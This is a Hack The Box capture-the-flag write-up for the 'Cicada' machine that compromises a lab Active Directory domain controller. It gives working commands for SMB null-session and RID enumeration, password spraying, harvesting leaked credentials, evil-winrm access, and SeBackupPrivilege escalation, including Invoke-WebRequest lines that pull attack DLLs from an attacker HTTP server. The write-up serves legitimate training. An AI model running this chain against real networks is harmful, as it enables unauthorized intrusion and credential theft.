CTF··6 min read

HTB Cicada: From Password Spraying to Token Abuse

Password Spraying Attack on Active Directory

Privilege Escalation via SeBackupPrivilege Token Abuse

Reconnaissance

Add the IP address of the machine to /etc/hosts:

nano /etc/hosts

Nano editor showing /etc/hosts with cicada.htb mapped to 10.129.231.149

Port Scanning

Conduct port scan:

sudo nmap -sV -sC cicada.htbsudo nmap -sV -p- --max-rate 10000 cicada.htb

Observe that I was dealing with AD structure:

Nmap full port scan: 14 open ports including DNS, Kerberos, LDAP, SMB, WinRM on CICADA-DC Windows Server 2022
Nmap script scan: SSL certificate for CICADA-DC.cicada.htb with LDAP domain and site details

Domain Controller Hostname: commonName=CICADA-DC.cicada.htb

Domain: cicada.htb

Plus, Microsoft HTTPAPI + port 5985 combination refers to WinRM service.

Nmap continued: WinRM 5985 on Microsoft HTTPAPI, SMB2 signing enabled and required, 7-hour clock skew

Lastly, SMB ports are shown. I'll try password sprays and null session.

Nmap scan highlighting MSRPC 135 and SMB 445 ports with SSL certificate details for cicada.htb domain

SMB Enumeration - Null Sessions & RID Brute-Forcing

Now let's enumerate SMB shares via null sessions:

NetExec SMB Share Enum

nxc smb cicada.htb -u '' -p ''

NetExec SMB null session authentication succeeds on CICADA-DC Windows Server 2022 Build 20348

I also found that a cheatsheet for null session enum, yet I did not know actually about RID what does that mean and so on... Check from here:

Null Enum

On that page, there was another parameter --rid-brute 3000. 3000 is specified as the permissions that the account holds.

RID Explanation

Security Identifier diagram showing SID structure with RID component 1001 highlighted

Basically, we are asking DC, "Who is 500, 3000, 1001?" through SMB.

I tried different combinations with NULL session and Enumerate Guest.

Guest Logon

nxc smb cicada.htb -u '' -p '' 

nxc smb cicada.htb -u '' -p '' --users 

nxc smb cicada.htb -u 'CTIS' -p '' --users

NetExec SMB: null auth succeeds, null --users fails, CTIS username gets Guest-level access

I identified that the Guest account was enabled, but I didn't know how to enum the guest account.

nxc smb cicada.htb -u 'CTIS' -p '' --rid-brute

It is clear that by combination of non-existing user and --rid-brute, I found the entire user accounts that exist in the domain.

nxc smb cicada.htb -u 'CTIS' -p '' --rid-brute

NetExec RID brute force enumerating domain users: Administrator, Guest, krbtgt, john.smoulder, sarah.dantelia, michael.wrightson, david.orelious, emily.oscars

This cheatsheet recommends the usage of -u 'guest' as well. Let's try:

SMB Cheatsheet

nxc smb cicada.htb -u 'guest' -p '' --shares

NetExec SMB share enumeration as guest: HR and IPC$ readable, DEV visible but no access

Harvesting Credentials from SMB Shares

Thanks to the HR department share, I can read its belonging contents.

I used netexec spider modules to fuzz contents of shares:

Spider Module

nxc smb cicada.htb -u 'guest' -p '' -M spider_plus

NetExec spider_plus module scanning shares: 7 total shares, 2 readable (HR, IPC$), 1 file found

I discovered a .txt file belonging to HR:

{
    "HR": {
        "Notice from HR.txt": {
            "atime_epoch": "2024-08-28 20:31:48",
            "ctime_epoch": "2024-03-14 15:29:03",
            "mtime_epoch": "2024-08-28 20:31:48",
            "size": "1.24 KB"
        }
    }
}

I cannot authenticate SMB through the guest user account, so I also used a random non-existing string to authenticate to the HR share:

smbclient HR share login as guest fails with NT_STATUS_LOGON_FAILURE

smbclient //10.129.231.149/HR -U 'CTIS' -N

ls -> get "Notice from HR.txt"

smbclient HR share as CTIS user: Notice from HR.txt found and downloaded (1266 bytes)
HR notice content: welcome letter revealing default password Cicada$M6Corpb*@Lp#nZp!8 for new hires

Password Spraying

As we found AD user accounts, let's try to brute them via the password spraying technique. In real world tests, I have never seen such a RID thing; instead, we try to guess the most suitable ones.

I created my user files as below:

john.smoulder sarah.dantelia michael.wrightson david.orelious emily.oscars

Pass Spraying

Succeeded as michael account:

NetExec password spray: default password works for michael.wrightson, fails for john.smoulder and sarah.dantelia

With also --continue-on-success param:

NetExec password spray with --continue-on-success: only michael.wrightson valid among all five domain users

LDAP Enumeration & Lateral Movement

I never have a methodology, but simply dive into ldap search.

netexec also provides an ldap option:

Nxc LDAP Protocol

nxc ldap cicada.htb -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --users

NetExec LDAP user enumeration as michael.wrightson: david.orelious description leaks password aRt$Lp#7t*VQ!3

David leaks his password in the Description field.

david.orelious:aRt$Lp#7t*VQ!3

nxc ldap cicada.htb -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --users

Let's find anything valuable on SMB for David:

nxc smb cicada.htb -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --shares

NetExec SMB shares as david.orelious: DEV share now readable along with HR, IPC$, NETLOGON, SYSVOL

Observe that David's account can READ the DEV share. Now I will auth as David to shares via smbclient:

smbclient //10.129.231.149/DEV -U 'david.orelious' -p 'aRt$Lp#7t*VQ!3'

I found a PowerShell script in David's share:

smbclient DEV share as david.orelious: Backup_script.ps1 found and downloaded (601 bytes)

Emily user's hardcoded credentials can be observed:

Backup_script.ps1 content: PowerShell script containing emily.oscars credentials with password Q!3@Lp#M6b*7t*Vt

Getting User Flag - WinRM Access

nxc smb cicada.htb -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' --shares

Emily is a highly privileged account - just an assumption based on READ,WRITE perms on Disk access (C$) and admin share read utilities:

NetExec SMB shares as emily.oscars: ADMIN$ readable, C$ has READ,WRITE permissions

I will access through the WinRM protocol instead of SMB.

smbclient //10.129.231.149/ADMIN$ -U 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'

smbclient browsing ADMIN$ share as emily.oscars: full C:\Windows directory listing

Use Hackviser's guide:

EvilWinRM

evil-winrm -i cicada.htb -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'

Get user flag from Emily's Desktop:

Evil-WinRM shell as emily.oscars: user.txt on Desktop reveals user flag hash

Privilege Escalation - SeBackupPrivilege Abuse

Ask Domain Controller for the AD profile of the user.

net user emily.oscars /domain

net user emily.oscars /domain: member of Backup Operators and Remote Management Users groups

Notice that the user has the Backup Operators tag is most likely a highly privileged account.

Evil-WinRM: type root.txt on Administrator Desktop denied with UnauthorizedAccessException

I will shift tokens directly.

whoami /priv output: SeBackupPrivilege and SeRestorePrivilege both enabled

Backup privilege available on target.

I will follow the description below:

SeBackupPrivilege

HackTricks SeBackupPrivilege documentation: reading admin password hashes from registry for Pass-the-Hash
HackTricks Local Attack steps: import SeBackupPrivilege DLLs, enable privilege, copy restricted files

I tried Acl-FullControl PowerShell, but it still did not work properly.

Evil-WinRM: downloading ac.ps1 exploit script via Invoke-WebRequest from attacker HTTP server
Evil-WinRM: ac.ps1 script execution fails with CommandNotFoundException error

Now I applied:

1. Import necessary libraries:

`Import-Module .\SeBackupPrivilegeUtils.dll Import-Module .\SeBackupPrivilegeCmdLets.dll`

2. Enable and verify `SeBackupPrivilege`:

`Set-SeBackupPrivilege Get-SeBackupPrivilege`

3. Access and copy files from restricted directories, for instance:

`dir C:\Users\Administrator\ Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite`

For SeBackupPrivilegeUtils.dll:

$URL = "http://10.10.16.64:1000/SeBackupPrivilegeUtils.dll"
$Path="C:\Users\emily.oscars.CICADA\backuputils.dll"
Invoke-WebRequest -URI $URL -OutFile $Path

For SeBackupPrivilegeCmdLets.dll:

$URL = "http://10.10.16.64:1000/SeBackupPrivilegeCmdLets.dll"
$Path="C:\Users\emily.oscars.CICADA\backupcmdlets.dll"
Invoke-WebRequest -URI $URL -OutFile $Path
Evil-WinRM: downloading SeBackupPrivilege DLLs after connection retry; ac.ps1 and backupcmdlets.dll uploaded

Import modules and set privileges.

Then copy the restricted file to an unrestricted zone:

Copy-FileSeBackupPrivilege C:\Users\Administrator\Desktop\root.txt C:\Users\emily.oscars.CICADA\root.txt -Overwrite

Finally, get root flag:

Root flag captured: Copy-FileSeBackupPrivilege copies root.txt, type root.txt displays root hash